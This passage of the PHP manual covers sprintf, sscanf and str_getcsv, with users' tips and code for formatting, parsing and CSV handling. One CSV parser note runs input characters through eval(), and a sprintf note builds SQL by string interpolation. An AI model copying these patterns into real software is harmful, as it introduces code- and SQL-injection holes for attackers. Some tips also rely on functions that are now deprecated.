    $number_of_spaces = $middle - $middle_word;

    $result = sprintf("%'{$symbol}{$last_position}s", $word);
        for ($i = 0; $i < $number_of_spaces; $i++){
            $result .= "$symbol";
        }
    return $result;
}

$string = "This is some text";
print center_text($string);

off course you can modify the function to use more arguments.
webmaster at cafe-clope dot net 15-Aug-2005 06:47
trying to fix the multibyte non-compliance of sprintf, I came to that :

<?php
function mb_sprintf($format) {
    $argv = func_get_args() ;
    array_shift($argv) ;
    return mb_vsprintf($format, $argv) ;
}

function mb_vsprintf($format, $argv) {
    $newargv = array() ;

    preg_match_all("`\%('.+|[0 ]|)([1-9][0-9]*|)s`U", $format, $results, PREG_SET_ORDER) ;

    foreach($results as $result) {
        list($string_format, $filler, $size) = $result ;
        if(strlen($filler)>1)
            $filler = substr($filler, 1) ;
        while(!is_string($arg = array_shift($argv)))
            $newargv[] = $arg ;
        $pos = strpos($format, $string_format) ;
        $format = substr($format, 0, $pos)
                  . ($size ? str_repeat($filler, $size-strlen($arg)) : '')
                    . str_replace('%', '%%', $arg)
                    . substr($format, $pos+strlen($string_format))
                    ;
    }

    return vsprintf($format, $newargv) ;
}

?>

handle with care :
1. that function was designed mostly for utf-8. i guess it won't work with any static mb encoding.
2. my configuration sets the mbstring.func_overload configuration directive to 7, so you may wish to replace substr, strlen, etc. with mb_* equivalents.
3. since preg_* doesn't complies with mb strings, I used a '.+' in the regexp to symbolize an escaped filler character. That means, %'xy5s pattern will match, unfortunately. It is recomended to remove the '+', unless you are intending to use an mb char as filler.
4. the filler fills at left, and only at left.
5. I couldn't succeed with a preg_replace thing : the problem was to use the differents lengths of the string arguements in the same replacement, string or callback. That's why the code is much longuer than I expected.
6. The pattern wil not match any %1\$s thing... just was too complicated for me.
7. Although it has been tested, and works fine within the limits above, this is much more a draft than a end-user function. I would enjoy any improvment.

The test code below shows possibilities, and explains the problem that occures with an mb string argument in sprintf.

<?php
header("content-type:text/plain; charset=UTF-8") ;
$mb_string = "xéxàx" ;
echo sprintf("%010s", $mb_string), " [octet-size: ", str_sizeof($mb_string) , " ; count: ", strlen(sprintf("%010s", $mb_string)), " characters]\n" ;
echo mb_sprintf("%010s", $mb_string), " [octet-size: ", str_sizeof($mb_string) , " ; count: ", strlen(mb_sprintf("%010s", $mb_string)), " characters]\n" ;
echo "\n" ;
echo mb_sprintf("%''10s\n%'010s\n%'û10s\n%10d\n%'x10s\n%010s\n% 10s\n%010s\n%'1s\n", "zero", "one", "two", 3, "four", "ƒîve", "%s%i%x", "šéveñ", "eight") ;
?>
david at rayninfo dot co dot uk 17-Jun-2005 08:33
Using sprintf to force leading leading zeros

foreach (range(1, 10) as $v) {echo "<br>tag_".sprintf("%02d",$v);}

displays
tag_01
tag_02
tag_03
.. etc
ian dot w dot davis at gmail dot com 30-May-2005 04:03
Just to elaborate on downright's point about different meanings for %f, it appears the behavior changed significantly as of 4.3.7, rather than just being different on different platforms. Previously, the width specifier gave the number of characters allowed BEFORE the decimal. Now, the width specifier gives the TOTAL number of characters. (This is in line with the semantics of printf() in other languages.) See bugs #28633 and #29286 for more details.
Pacogliss 02-May-2005 09:08
Just a reminder for beginners : example 6 'printf("[%10s]\n",    $s);' only works (that is, shows out the spaces) if you put the html '<pre></pre>' tags ( head-scraping time saver ;-).
christian at wenz dot org 18-Apr-2005 09:20
@ henke dot andersson at comhem dot se: Use vprintf()/vsprintf() for that.
henke dot andersson at comhem dot se 15-Apr-2005 05:07
Mind that it doesn't allow you to use a array as multiple arguments like this:
<?php
printf('%s %s',array('a','b')) ?>
jrpozo at conclase dot net 21-Jan-2005 04:13
Be careful if you use the %f modifier to round decimal numbers as it (starting from 4.3.10) will no longer produce a float number if you set certain locales, so you can't accumulate the result. For example:

setlocale(LC_ALL, 'es_ES');
echo(sprintf("%.2f", 13.332) + sprintf("%.2f", 14.446))

gives 27 instead of 27.78, so use %F instead.
timo at frenay dot net 10-Jan-2005 07:58
Note that the documentation is unclear about the details of the sign specifier. First of all, the character for this is "+".

Also note that the following does NOT print "+00.00" as you might expect:

<?php
    printf('%+02.2f', 0);
?>

The sign is included in the width. This can't be solved by increasing the width:

<?php
    printf('%+03.2f', 0);
?>

This will put the padding 0 before the sign.
Here is a possible solution:

<?php
    $value = 0;
    printf('%s%02.2f', ($value < 0) ? '-' : '+', abs($value));
?>
Gkeeper80 12-Aug-2004 12:58
When using sprintf with padding, it's important to note that specifying the length of your padding does not restrict the length of your output.

For example:
$var = 'test';
$output sprintf("%03s", $var);

print $output;

Produces:
test

NOT:
est

This may seem intuitive for working with numbers, but not neccesarily when working with strings.
php at sharpdreams dot com 08-May-2004 11:13
Note that when using the argument swapping, you MUST number every argument, otherwise sprintf gets confused. This only happens if you use number arguments first, then switch to a non-numbered, and then back to a numbered one.

<?php
$sql = sprintf( "select * from %1\$s left join %2\$s on( %1\$s.id = %2\$s.midpoint ) where %1\$s.name like '%%%s%%' and %2\$s.tagname is not null", "table1", "table2", "bob" );
// Wont work:
// Sprintf will complain about not enough arguments.
$sql = sprintf( "select * from %1\$s left join %2\$s on( %1\$s.id = %2\$s.midpoint ) where %1\$s.name like '%%%3\$s%%' and %2\$s.tagname is not null", "table1", "table2", "bob" );
// Will work: note the %3\$s
?>
kekec at kukac dot hu 29-Mar-2004 06:16
A really working one:
<?php
function cutzero($value) {
   return preg_replace("/(\.?)0+$/", "", $value);
}
?>
info at nospam dot webtip dot dk 18-Feb-2003 02:06
If you want to format a phonenumber with spaces, use chunk_split() which splits a string into smaller chunks. It's much simpler than using sprintf.

$phone = "12345678";

chunk_split ($phone, 2);

will return 12 34 56 78
no dot email dot address at example dot com 16-Sep-2002 03:29
Using argument swapping in sprintf() with gettext: Let's say you've written the following script:

<?php
$var = sprintf(gettext("The %2\$s contains %1\$d monkeys"), 2, "cage");
?>

Now you run xgettext in order to generate a .po file. The .po file will then look like this:

#: file.php:9
#, ycp-format
msgid "The %2\\$s contains %1\\$d monkeys"
msgstr ""

Notice how an extra backslash has been added by xgettext.

Once you've translated the string, you must remove all backslashes from the ID string as well as the translation, so the po file will look like this:

#: file.php:9
#, ycp-format
msgid "The %2$s contains %1$d monkeys"
msgstr "Der er %1$d aber i %2$s"

Now run msgfmt to generate the .mo file, restart Apache to remove the gettext cache if necessary, and you're off.
abiltcliffe at bigfoot.com 10-Sep-2002 08:01
To jrust at rustyparts.com, note that if you're using a double-quoted string and *don't* escape the dollar sign with a backslash, $s and $d will be interpreted as variable references. The backslash isn't part of the format specifier itself but you do need to include it when you write the format string (unless you use single quotes).
Andrew dot Wright at spamsux dot atnf dot csiro dot au 03-Jul-2002 11:22
An error in my last example:
$b = sprintf("%30.s", $a);
will only add enough spaces before $a to pad the spaces + strlen($a) to 30 places.

My method of centering fixed text in a 72 character width space is:

$a = "Some string here";
$lwidth = 36; // 72/2
$b = sprintf("%".($lwidth + round(strlen($a)/2)).".s", $a);
cv at corbach dot de 10-Feb-2002 04:36
To make radu.rendec@ines.ro's excellent function work on signed numbers you must change the first line to:

$e = floor(log10(abs($x)));
tjchamberlain.hotmail@com 26-Mar-2001 08:16
It is worth noting that "%5.2f" will result in a string 8 characters long (5 then the '.' then 2), not 5 characters as you might expect.
prolixmp3 at navigators dot lv 23-Mar-2001 07:55
If you are going to create a counter which uses _symbols_ before actual digits (see, f.e., SpyLog.com counters - they are filling space with "." before, so the count like 12345 looks like "........12345"), you can use the following:

$txt = "Abracadabra"; // actual string
$fit = 16; // how many digits to use
$fill = "."; // what to fill
$digits = sprintf ("%'{$fill}{$fit}s", $txt);

Paul (a.k.a. Mr.Prolix)
voudras at nospam dot swiftslayer dot org 17-Nov-2000 03:58
Little note about sprintf and its ilk.
if you attempt something like
$string = "dingy%sflem%dwombat";
$nbr = 5;
$name = "voudras";

$msg = sprintf("%d $string %s", $nbr, $name);

sprintf will complain about a lack in the number of arguments, this would be because of the %'s in the actual string. This can be a great benifit, but is also rather confusing if you dont realize this feature, and are passing questionable variables to sprintf (for, say perhaps logging). One way around this is using
ereg_replace("%","%%", $string); before
sending it off to sprintf. This is actually how i came across this as a problem - i had realized some time ago that i would have to test my $string for
%'s, but when running the %->%% replacement on a very large serialized object, my application timed out.
    My solution was to use
sprintf("%d %s %s", $nbr, $string, $name);
but, there was a reason i originally had done this the other way - i suppose i'll find out soon enough


Parses input from a string according to a format

  • « sprintf
  • str_getcsv »
  • PHP Manual
  • String Functions
  • Parses input from a string according to a format

sscanf

(PHP 4 >= 4.0.1, PHP 5)

sscanf — Parses input from a string according to a format

Description

mixed sscanf ( string $str , string $format [, mixed &$... ] )

The function sscanf() is the input analog of printf(). sscanf() reads from the string str and interprets it according to the specified format, which is described in the documentation for sprintf().

Any whitespace in the format string matches any whitespace in the input string. This means that even a tab \t in the format string can match a single space character in the input string.

Parameters

str

The input string being parsed.

format

The interpreted format for str, which is described in the documentation for sprintf() with following differences:

  • Function is not locale-aware.
  • F, g, G and b are not supported.
  • D stands for decimal number.
  • i stands for integer with base detection.
  • n stands for number of characters processed so far.

...

Optionally pass in variables by reference that will contain the parsed values.

Return Values

If only two parameters were passed to this function, the values parsed will be returned as an array. Otherwise, if optional parameters are passed, the function will return the number of assigned values. The optional parameters must be passed by reference.

If there are more substrings expected in the format than there are available within str, -1 will be returned.

Examples

Example #1 sscanf() Example

<?php
// getting the serial number
list($serial) = sscanf("SN/2350001", "SN/%d");
// and the date of manufacturing
$mandate = "January 01 2000";
list($month, $day, $year) = sscanf($mandate, "%s %d %d");
echo "Item $serial was manufactured on: $year-" . substr($month, 0, 3) . "-$day\n";
?>

If optional parameters are passed, the function will return the number of assigned values.

Example #2 sscanf() - using optional parameters

<?php
// get author info and generate DocBook entry
$auth = "24\tLewis Carroll";
$n = sscanf($auth, "%d\t%s %s", $id, $first, $last);
echo "<author id='$id'>
    <firstname>$first</firstname>
    <surname>$last</surname>
</author>\n";
?>

See Also

  • fscanf() - Parses input from a file according to a format
  • printf() - Output a formatted string
  • sprintf() - Return a formatted string

User Contributed Notes

Victor 24-Sep-2012 07:24
One thing to note: unlike C/C++, a variable %n is assigned to will be counted in the return value.
nmmm at nmmm dot nu 23-Nov-2011 02:11
This is more like C/C++ example, but works on PHP too.

<?php
$qs = "index.php?id=34&name=john";

print_r(   sscanf($qs, "%[^?]?%[^?]")   );

$qs = "id=34&name=john";

print_r(   sscanf($qs, "id=%[^&]&name=%[^&]")   );
?>
Igor Feghali 22-Oct-2008 07:56
parses an input string with fixed field sizes that contains data with spaces:

<?php
$result = sscanf("  Vendor: My Vendo Model: Super Model Foo  Rev: 1234",
                 '  Vendor: %8[ -~] Model: %16[ -~] Rev: %4c',
                 $vendor, $model, $rev);
?>

$vendor => My Vendo
$model => Super Model Foo
$rev => 1234
leg 13-Aug-2008 06:20
@mikewillitsgmail.com:

<?php

$out = sscanf('file_name.gif', 'file_%[^.].%s', $fpart1, $fpart2);

echo '<pre>';
print_r($fpart1);
echo '<hr />';
print_r($fpart2);
echo '</pre>';

?>

output:

name
-
gif

The "^." part avoid the first searched string to be too greedy. But doesn't protect you against an "file_test.name.gif" input, with bad results!
mikewillitsgmail.com 15-Mar-2008 08:13
FYI - if you are trying to scan from a string which contains a filename with extension. For instance:

<?php

$out = sscanf('file_name.gif', 'file_%s.%s', $fpart1, $fpart2);

?>

The scanned string in the $fpart1 parameter turns out to be 'name.gif' and $fpart2 will be NULL.

To get around this you can simply replace the "." with a space or another "white-space like" string sequence.

I didn't see any other comments on regarding string literals which contain a '.' so I thought I'd mention it. The subtle characteristics of having "white-space delimited" content I think can be a source of usage contention. Obviously, another way to go is regular expressions in this instance, but for newer users this may be helpful.

Just in case someone else spent 10 minutes of frustration like I did. This was seen on PHP Version 5.2.3-1ubuntu6.3.

Searching the bug reports shows another users misunderstanding: http://bugs.php.net/bug.php?id=7793
anonymouse 02-Aug-2006 06:38
I've seen several examples of people using brackets to define what look like regexp character classes. In my limited testing I don't think they are genuine character classes but they seem to be similar.

My task was to use sscanf() to parse an array of strings with the format:

number SPACE string_which_may_also_have_spaces

The normal %s conversion command treats spaces as some kind of delimiter. So, you can get the strings if you know beforehand how many "words" there will be. But, my input was variable.

Here's what I came up with: (note use of the dollar-sign 'end of string' hidden delimiter)

sscanf($string_to_parse,'%d %[^$]s',$num,$text);

This conversion command says "look for an integer, then a space, then any string up to the end of the string"
skeltoac 23-Mar-2006 05:28
To parse a line from an Apache access log in common format:

<?php
$log = array();
$n = sscanf(trim($line), '%s %s %s [%[^]]] "%s %s %[^"]" %d %s "%[^"]" "%[^"]"',
    $log['ip'],
    $log['client'],
    $log['user'],
    $log['time'],
    $log['method'],
    $log['uri'],
    $log['prot'],
    $log['code'],
    $log['bytes'],
    $log['ref'],
    $log['agent']
);
?>
Brainiac361 22-Aug-2005 10:49
The %[^[]]-trick may seem to work, but it doesn't!

What happens is that sscanf will simply match any characters but an opening square bracket (which is rather rare and that's why it might just seem to work).
But even worse it will expect a ]-character next and continue to match anything.

Now what you can do is make sscanf look for any character but a character that is really never used... a good choice is the linebreak "%[^\\n]", especially in combination with fscanf.

What you can also do is copy and paste any unused ascii character like #001 or something.
joshmckenneyATgmailDOT(0{ 15-Jul-2005 12:21
added country code (1) to phone number function:

function formatPhone($phone) {
       if (empty($phone)) return "";
       if (strlen($phone) == 7)
               sscanf($phone, "%3s%4s", $prefix, $exchange);
       else if (strlen($phone) == 10)
               sscanf($phone, "%3s%3s%4s", $area, $prefix, $exchange);
       else if (strlen($phone) > 10)
               if(substr($phone,0,1)=='1') {
                                 sscanf($phone, "%1s%3s%3s%4s", $country, $area, $prefix, $exchange);
                             }
                             else{
                                 sscanf($phone, "%3s%3s%4s%s", $area, $prefix, $exchange, $extension);
                                }
       else
               return "unknown phone format: $phone";
       $out = "";
       $out .= isset($country) ? $country.' ' : '';
       $out .= isset($area) ? '(' . $area . ') ' : '';
       $out .= $prefix . '-' . $exchange;
       $out .= isset($extension) ? ' x' . $extension : '';
       return $out;
}
Vincent Jansen 16-Jun-2005 10:04
If you just wants filter out information between two parts of a string, i used the following, it works better for me then the sscanf function.

<?php
function scanstr($zoekstr,$part1,$part2) {
$firstpos=strpos ($zoekstr, $part1)+strlen($part1);
$lastpos=strpos ($zoekstr, $part2);
$scanresult=substr ($zoekstr, $firstpos, $lastpos-$firstpos);
    return($scanresult);
}
echo scanstr ("var1=hello&var2=test&var3=more","var2=","&var3");
?>
codeslinger at compsalot dot com 06-Feb-2005 03:03
Security Note:

Although it is a very powerful technique, keep in mind that it is easily deceived.

Many successful exploits have been based on scanf attacks.  It should not be used on untrusted input without a lot of additional validation.
marcus at synchromedia dot co dot uk 24-Mar-2003 06:38
In PHP >= 4.3.0, if you use additional reference parameters, you will get this warning:

PHP Warning:  Call-time pass-by-reference has been deprecated - argument passed by value

This clearly has the potential to cause unexpected consequences (vars left empty), and will break existing code. So don't do it! These docs need updating to say this too.

The syntax:

    list($a, $b) = sscanf("hello world", "%s %s");

will work as expected, and doesn't seem to cause any problems with Apache that I've noticed.
sbarnum.pointsystems@com 20-Nov-2002 04:21
More fun with phones!  This assumes that the phone number is 10 digits, with only numeric data, but it would be easy to check the length of the string first.

function formatPhone($phone) {
        if (empty($phone)) return "";
        sscanf($phone, "%3d%3d%4d", $area, $prefix, $exchange);
        $out = @$area ? "($area) " : "";
        $out .= $prefix . '-' . $exchange;
        return $out;
}
jon at fuck dot org 13-Sep-2002 08:27
this function is a great way to get integer rgb values from the html equivalent hex.

list($r, $g, $b) = sscanf('00ccff', '%2x%2x%2x');
elgabos at umail dot ucsb dot edu 27-Feb-2002 12:38
After playing around with this for a while, I found that if you use %[^[]] instead of %s (since php has problems with spaces when using %s) it works nicely.

For those that aren't familiar with regular expressions, %[^[]] basically matches anything that isn't nothing.

Hope this helps. - Gabe
narainsbrain at yahoo dot com 14-Oct-2001 12:25
apparently, sscanf always splits at spaces, even if spaces are not specified in the format. consider this script:

<?php
$str = "This is a\tsentence with\ttabs";
$scanned = sscanf($str, "%s\t%s\t%s");
echo join(" : ", $scanned);
?>

this echoes "This : is : a", not the expected "This is a : sentence with : tabs."
this behaviour is fine if your strings don't contain spaces, but if they do you'd be better off using explode().
clcollie at mindspring dot com 12-Sep-2000 01:59
Actually sscanf()_always_ returns an array if you specify less return variables than format specifiers. i may change this to return a scalar if only a single format specifier exists.
  Note that sscanf() is (almost) the complete functional equivalent of its "C" counterpart, so you can do the following to get the expected effect :

   sscanf("SN/2350001","SN/%d",&$serial)

The array return was a nicety for PHP.


Parse a CSV string into an array

  • « sscanf
  • str_ireplace »
  • PHP Manual
  • String Functions
  • Parse a CSV string into an array

str_getcsv

(PHP 5 >= 5.3.0)

str_getcsv — Parse a CSV string into an array

Description

array str_getcsv ( string $input [, string $delimiter = "," [, string $enclosure = '"' [, string $escape = "\\" ]]] )

Parses a string input for fields in CSV format and returns an array containing the fields read.

Parameters

input

The string to parse.

delimiter

Set the field delimiter (one character only).

enclosure

Set the field enclosure character (one character only).

escape

Set the escape character (one character only). Defaults as a backslash (\)

Return Values

Returns an indexed array containing the fields read.

See Also

  • fgetcsv() - Gets line from file pointer and parse for CSV fields

User Contributed Notes

dejiakala at gmail dot com 21-Sep-2014 03:06
I wanted the best of the 2 solutions by james at moss dot io and Jay Williams (csv_to_array()) - create associative array from a CSV file with a header row.

<?php

$array = array_map('str_getcsv', file('data.csv'));

$header = array_shift($array);

array_walk($array, '_combine_array', $header);

function _combine_array(&$row, $key, $header) {
  $row = array_combine($header, $row);
}

?>

Then I thought why not try some benchmarking? I grabbed a sample CSV file with 50,000 rows (10 columns each) and Vulcan Logic Disassembler (VLD) which hooks into the Zend Engine and dumps all the opcodes (execution units) of a script - see http://pecl.php.net/package/vld and example here: http://fabien.potencier.org/article/8/print-vs-echo-which-one-is-faster

Result:

array_walk() and array_map() - 39 opcodes
csv_to_array() - 69 opcodes
enmanuelcorvo at gmail dot com 03-Sep-2014 05:49
I always use this:

function convert_to_csv($input_array, $output_file_name, $delimiter)
{
    /** open raw memory as file, no need for temp files */
    $temp_memory = fopen('php://memory', 'w');
    /** loop through array */
    foreach ($input_array as $line) {
        /** default php csv handler **/
        fputcsv($temp_memory, $line, $delimiter);
    }
    /** rewrind the "file" with the csv lines **/
    fseek($temp_memory, 0);
    /** modify header to be downloadable csv file **/
    header('Content-Type: application/csv');
    header('Content-Disposition: attachement; filename="' . $output_file_name . '";');
    /** Send file to browser for download */
    fpassthru($temp_memory);
}

/** Array to convert to csv */
$array_to_csv = Array(Array(12566, 'Enmanuel', 'Corvo'), Array(56544, 'John', 'Doe'), Array(78550, 'Mark', 'Smith'));
convert_to_csv($array_to_csv, 'report.csv', ',');

you can read the full post here:

<a href="http://webtricksandtreats.com/export-to-csv-php/">PHP to CSV  Download </a>
james at moss dot io 03-Apr-2014 07:24
Handy one liner to parse a CSV file into an array

<?php

$csv = array_map('str_getcsv', file('data.csv'));

?>
peter at icb dot at 22-Mar-2014 02:11
Optimized JayWilliams function a little bit:

<?php
function csv_to_array($filename, $delimiter=',', $enclosure='"', $escape = '\\')
{
  if(!file_exists($filename) || !is_readable($filename)) return false;

  $header = null;
  $data = array();
  $lines = file($filename);

  foreach($lines as $line) {
    $values = str_getcsv($line, $delimiter, $enclosure, $escape);
    if(!$header) $header = $values;
    else $data[] = array_combine($header, $values);
  }

  return $data;
}
?>
lewis 11-Feb-2014 10:51
str_getcsv can be really fussy about trailing spaces - it will not necessarily recognise a final element in a quote delimited set of strings with a space following the final string for example. Using trim() before str_getcsv() quickly fixes this.
Ryan Rubley 14-Sep-2013 05:00
@normadize - that is a nice start, but it fails on situations where a field is empty but quoted (returning a string with one double quote instead of an empty string) and cases like """""foo""""" that should result in ""foo"" but instead return "foo". I also get a row with 1 empty field at the end because of the final CRLF in the CSV. Plus, I don't really like the !!Q!! magic or urlencoding to get around things. Also, \R doesn't work in pcre on any of my php installations.

Here is my take on this, without anonymous functions (so it works on PHP < 5.3), and without your options (because I believe the only correct way to parse according to the RFC would be $skip_empty_lines = false and $trim_fields = false).

//parse a CSV file into a two-dimensional array
//this seems as simple as splitting a string by lines and commas, but this only works if tricks are performed
//to ensure that you do NOT split on lines and commas that are inside of double quotes.
function parse_csv($str)
{
    //match all the non-quoted text and one series of quoted text (or the end of the string)
    //each group of matches will be parsed with the callback, with $matches[1] containing all the non-quoted text,
    //and $matches[3] containing everything inside the quotes
    $str = preg_replace_callback('/([^"]*)("((""|[^"])*)"|$)/s', 'parse_csv_quotes', $str);

    //remove the very last newline to prevent a 0-field array for the last line
    $str = preg_replace('/\n$/', '', $str);

    //split on LF and parse each line with a callback
    return array_map('parse_csv_line', explode("\n", $str));
}

//replace all the csv-special characters inside double quotes with markers using an escape sequence
function parse_csv_quotes($matches)
{
    //anything inside the quotes that might be used to split the string into lines and fields later,
    //needs to be quoted. The only character we can guarantee as safe to use, because it will never appear in the unquoted text, is a CR
    //So we're going to use CR as a marker to make escape sequences for CR, LF, Quotes, and Commas.
    $str = str_replace("\r", "\rR", $matches[3]);
    $str = str_replace("\n", "\rN", $str);
    $str = str_replace('""', "\rQ", $str);
    $str = str_replace(',', "\rC", $str);

    //The unquoted text is where commas and newlines are allowed, and where the splits will happen
    //We're going to remove all CRs from the unquoted text, by normalizing all line endings to just LF
    //This ensures us that the only place CR is used, is as the escape sequences for quoted text
    return preg_replace('/\r\n?/', "\n", $matches[1]) . $str;
}

//split on comma and parse each field with a callback
function parse_csv_line($line)
{
    return array_map('parse_csv_field', explode(',', $line));
}

//restore any csv-special characters that are part of the data
function parse_csv_field($field) {
    $field = str_replace("\rC", ',', $field);
    $field = str_replace("\rQ", '"', $field);
    $field = str_replace("\rN", "\n", $field);
    $field = str_replace("\rR", "\r", $field);
    return $field;
}
allan dot mtx dot IAMHUMAN at GOREADABOOK dot gmail dot com 30-Jul-2013 03:27
<?php

/**
 * This is the simplest way to do a csv line getter i could imagine.
 * It's not perfect at all, but will do the job.
 * There are indeed some error checks for very badly formated csv lines.
 * It will not, for example, handle the last field if it's empty,
 *  and it will omit repeated enclosures inside quoted fields if
 *  they are not escaped, but I tried to do it very clearly
 *  so everyone could change it for your own necessities.
 * @param string $str String
 * @param string $delimiter String
 * @param string $enclosure String
 * @param string $escape String
 * @return array
 */
function user_str_getcsv($str, $delimiter=',', $enclosure='"', $escape='\\') {
    $return = array();
    $fields = 0;
    $inside = false;
    $quoted = false;
    $char = '';

    //Let's go through the string
    for ($i=0; $i<mb_strlen($str); $i++) {
        $char = mb_substr($str, $i, 1, 'UTF-8');

        if (!$inside) { //Check if we are not inside a field
            if ($char == $delimiter) { //Check if the current char is the delimiter
                //Tells the function that we are not inside a field anymore
                $inside = false;
                $quoted = false;

                //Jumps to the next field
                $fields++;

            } elseif($char == $escape) { //Check if the current char is the escape
                //Error, because it isn't inside a field and there is a escape here
                return false;

            } elseif($char != ' ') { //Check if the current char isn't a blank space
                //Tells the function that a field starts
                $inside = true;

                //Check if the current char is the enclosure, indicating that this field is quoted
                if ($char == $enclosure) {
                    $quoted= true;
                } else {
                    $return[$fields] .= $char;
                }
            }
        } else { //Here we are inside a field
            //Check if the current char is the escape
            if ($char == $escape) {
                //Check if the string has one more char beyond the current one
                if (mb_strlen($str)>$i+1) {
                    //Tells the function we will treat the next char
                    $i++;
                    $char = mb_substr($str, $i, 1, 'UTF-8');

                    //Check if our new char is the enclosure
                    if ($char == $enclosure) {
                        //Check if the field is a quoted one
                        if ($quoted) {
                            $return[$fields] .= $enclosure;
                        } else {
                            //Error, because we have an escape and then we have an enclosure and we are not inside a quoted field
                            return false;
                        }
                    } elseif ($char == $escape) {
                        $return[$fields] .= $char;
                    } else {
                        eval("\$return[\$fields] .= \"\\".$char."\";");
                    }

                } else {
                    //Error, because there is an escape and nothing more then
                    return false;
                }
            } elseif ($char == $enclosure) { //Check if the current char is the enclosure
                //Check if we are in a quoted field
                if ($quoted) {
                    //Tells the function that we are not inside a field anymore
                    $inside = false;
                    $quoted = false;
                } else {
                    //Error, because there is an enclosure inside a non quoted field
                    return false;
                }
            } elseif ($char == $delimiter) { //Check if it is the delimiter
                //Check if we are inside a quoted field
                if ($quoted) {
                    $return[$fields] .= $char;
                } else {
                    //Tells the function that we are not inside a field anymore
                    $inside = false;
                    $quoted = false;

                    //Jumps to the next field
                    $fields++;
                }
            } else {
                $return[$fields] .= $char;
            }
        }
    }
    return $return;
}

print_r(user_str_getcsv("test,1,\"B,C,D\",\"with a escape\\\\\", \"with an enter\\n\", \"with an enclusure enclosure\\\"\""));
exit(0);

?>

The response will be:
Array
(
    [0] => test
    [1] => 1
    [2] => B,C,D
    [3] => with a escape\
    [4] => with an enter

    [5] => with an enclusure enclosure"
)
normadize -a- gmail -d- com 14-Mar-2013 08:19
Like some other users here noted, str_getcsv() cannot be used if you want to comply with either the RFC or with most spreadsheet tools like Excel or Google Docs.

These tools do not escape commas or new lines, but instead place double-quotes (") around the field. If there are any double-quotes in the field, these are escaped with another double-quote (" becomes ""). All this may look odd, but it is what the RFC and most tools do ...

For instance, try exporting as .csv a Google Docs spreadsheet (File > Download as > .csv) which has new lines and commas as part of the field values and see how the .csv content looks, then try to parse it using str_getcsv() ... it will spectacularly regardless of the arguments you pass to it.

Here is a function that can handle everything correctly, and more:

- doesn't use any for or while loops,
- it allows for any separator (any string of any length),
- option to skip empty lines,
- option to trim fields,
- can handle UTF8 data too (although .csv files are likely non-unicode).

Here is the more human readable version of the function:

<?php

// returns a two-dimensional array or rows and fields

function parse_csv ($csv_string, $delimiter = ",", $skip_empty_lines = true, $trim_fields = true)
{
    $enc = preg_replace('/(?<!")""/', '!!Q!!', $csv_string);
    $enc = preg_replace_callback(
        '/"(.*?)"/s',
        function ($field) {
            return urlencode(utf8_encode($field[1]));
        },
        $enc
    );
    $lines = preg_split($skip_empty_lines ? ($trim_fields ? '/( *\R)+/s' : '/\R+/s') : '/\R/s', $enc);
    return array_map(
        function ($line) use ($delimiter, $trim_fields) {
            $fields = $trim_fields ? array_map('trim', explode($delimiter, $line)) : explode($delimiter, $line);
            return array_map(
                function ($field) {
                    return str_replace('!!Q!!', '"', utf8_decode(urldecode($field)));
                },
                $fields
            );
        },
        $lines
    );
}

?>

Since this is not using any loops, you can actually write it as a one-line statement (one-liner).

Here's the function using just one line of code for the function body, formatted nicely though:

<?php

// returns the same two-dimensional array as above, but with a one-liner code

function parse_csv ($csv_string, $delimiter = ",", $skip_empty_lines = true, $trim_fields = true)
{
    return array_map(
        function ($line) use ($delimiter, $trim_fields) {
            return array_map(
                function ($field) {
                    return str_replace('!!Q!!', '"', utf8_decode(urldecode($field)));
                },
                $trim_fields ? array_map('trim', explode($delimiter, $line)) : explode($delimiter, $line)
            );
        },
        preg_split(
            $skip_empty_lines ? ($trim_fields ? '/( *\R)+/s' : '/\R+/s') : '/\R/s',
            preg_replace_callback(
                '/"(.*?)"/s',
                function ($field) {
                    return urlencode(utf8_encode($field[1]));
                },
                $enc = preg_replace('/(?<!")""/', '!!Q!!', $csv_string)
            )
        )
    );
}

?>

Replace !!Q!! with another placeholder if you wish.

Have fun.
V.Krishn 06-Mar-2013 10:31
<?php
Note: The function trims all values unlike  str_getcsv (v5.3).
/**
  * @link https://github.com/insteps/phputils (for updated code)
  * Parse a CSV string into an array for php 4+.
  * @param string $input String
  * @param string $delimiter String
  * @param string $enclosure String
  * @return array
  */
function str_getcsv4($input, $delimiter = ',', $enclosure = '"') {

    if( ! preg_match("/[$enclosure]/", $input) ) {
      return (array)preg_replace(array("/^\\s*/", "/\\s*$/"), '', explode($delimiter, $input));
    }

    $token = "##"; $token2 = "::";
    //alternate tokens "\034\034", "\035\035", "%%";
    $t1 = preg_replace(array("/\\\[$enclosure]/", "/$enclosure{2}/",
         "/[$enclosure]\\s*[$delimiter]\\s*[$enclosure]\\s*/", "/\\s*[$enclosure]\\s*/"),
         array($token2, $token2, $token, $token), trim(trim(trim($input), $enclosure)));

    $a = explode($token, $t1);
    foreach($a as $k=>$v) {
        if ( preg_match("/^{$delimiter}/", $v) || preg_match("/{$delimiter}$/", $v) ) {
            $a[$k] = trim($v, $delimiter); $a[$k] = preg_replace("/$delimiter/", "$token", $a[$k]); }
    }
    $a = explode($token, implode($token, $a));
    return (array)preg_replace(array("/^\\s/", "/\\s$/", "/$token2/"), array('', '', $enclosure), $a);

}

if ( ! function_exists('str_getcsv')) {
  function str_getcsv($input, $delimiter = ',', $enclosure = '"') {
    return str_getcsv4($input, $delimiter, $enclosure);
  }
}
?>
V.Krishn 06-Mar-2013 10:20
Note: The function trims all values unlike  str_getcsv (v5.3).
/**
  * @link https://github.com/insteps/phputils (for updated code)
  * Parse a CSV string into an array for php 4+.
  * @param string $input String
  * @param string $delimiter String
  * @param string $enclosure String
  * @return array
  */
function str_getcsv4($input, $delimiter = ',', $enclosure = '"') {

    if( ! preg_match("/[$enclosure]/", $input) ) {
      return (array)preg_replace(array("/^\\s*/", "/\\s*$/"), '', explode($delimiter, $input));
    }

    $token = "##"; $token2 = "::";
    //alternate tokens "\034\034", "\035\035", "%%";
    $t1 = preg_replace(array("/\\\[$enclosure]/", "/$enclosure{2}/",
         "/[$enclosure]\\s*[$delimiter]\\s*[$enclosure]\\s*/", "/\\s*[$enclosure]\\s*/"),
         array($token2, $token2, $token, $token), trim(trim(trim($input), $enclosure)));

    $a = explode($token, $t1);
    foreach($a as $k=>$v) {
        if ( preg_match("/^{$delimiter}/", $v) || preg_match("/{$delimiter}$/", $v) ) {
            $a[$k] = trim($v, $delimiter); $a[$k] = preg_replace("/$delimiter/", "$token", $a[$k]); }
    }
    $a = explode($token, implode($token, $a));
    return (array)preg_replace(array("/^\\s/", "/\\s$/", "/$token2/"), array('', '', $enclosure), $a);

}

if ( ! function_exists('str_getcsv')) {
